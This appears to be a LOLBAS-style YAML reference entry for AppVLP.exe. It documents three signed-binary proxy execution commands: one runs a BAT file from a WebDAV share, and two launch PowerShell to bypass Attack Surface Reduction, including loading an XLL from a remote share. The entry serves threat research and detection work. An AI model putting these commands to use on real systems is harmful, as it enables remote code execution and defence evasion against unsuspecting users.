--- Name: Appvlp.exe Description: Application Virtualization Utility Included with Microsoft Office 2016 Author: '' Created: '2018-05-25' Commands: - Command: AppVLP.exe \\webdav\calc.bat Usecase: Execution of BAT file hosted on Webdav server. Description: Executes calc.bat through AppVLP.exe Category: Execution Privileges: User MitreID: T1218 MitreLink: https://attack.mitre.org/wiki/Technique/T1218 OperatingSystem: Windows 10 w/Office 2016 - Command: AppVLP.exe powershell.exe -c "$e=New-Object -ComObject shell.application;$e.ShellExecute('calc.exe','', '', 'open', 1)" Usecase: Local execution of process bypassing Attack Surface Reduction (ASR). Description: Executes powershell.exe as a subprocess of AppVLP.exe and run the respective PS command. Category: Execution Privileges: User MitreID: T1218 MitreLink: https://attack.mitre.org/wiki/Technique/T1218 OperatingSystem: Windows 10 w/Office 2016 - Command: AppVLP.exe powershell.exe -c "$e=New-Object -ComObject excel.application;$e.RegisterXLL('\\webdav\xll_poc.xll')" Usecase: Local execution of process bypassing Attack Surface Reduction (ASR). Description: Executes powershell.exe as a subprocess of AppVLP.exe and run the respective PS command. Category: Execution Privileges: User MitreID: T1218 MitreLink: https://attack.mitre.org/wiki/Technique/T1218 OperatingSystem: Windows 10 w/Office 2016 Full Path: - C:\Program Files\Microsoft Office\root\client\appvlp.exe - C:\Program Files (x86)\Microsoft Office\root\client\appvlp.exe Code Sample: [] Detection: [] Resources: - https://github.com/MoooKitty/Code-Execution - https://twitter.com/moo_hax/status/892388990686347264 - https://enigma0x3.net/2018/06/11/the-tale-of-settingcontent-ms-files/ - https://securityboulevard.com/2018/07/attackers-test-new-document-attack-vector-that-slips-past-office-defenses/ Acknowledgement: - Person: fab Handle: '@0rbz_' - Person: Will Handle: '@moo_hax' - Person: Matt Wilson Handle: '@enigma0x3'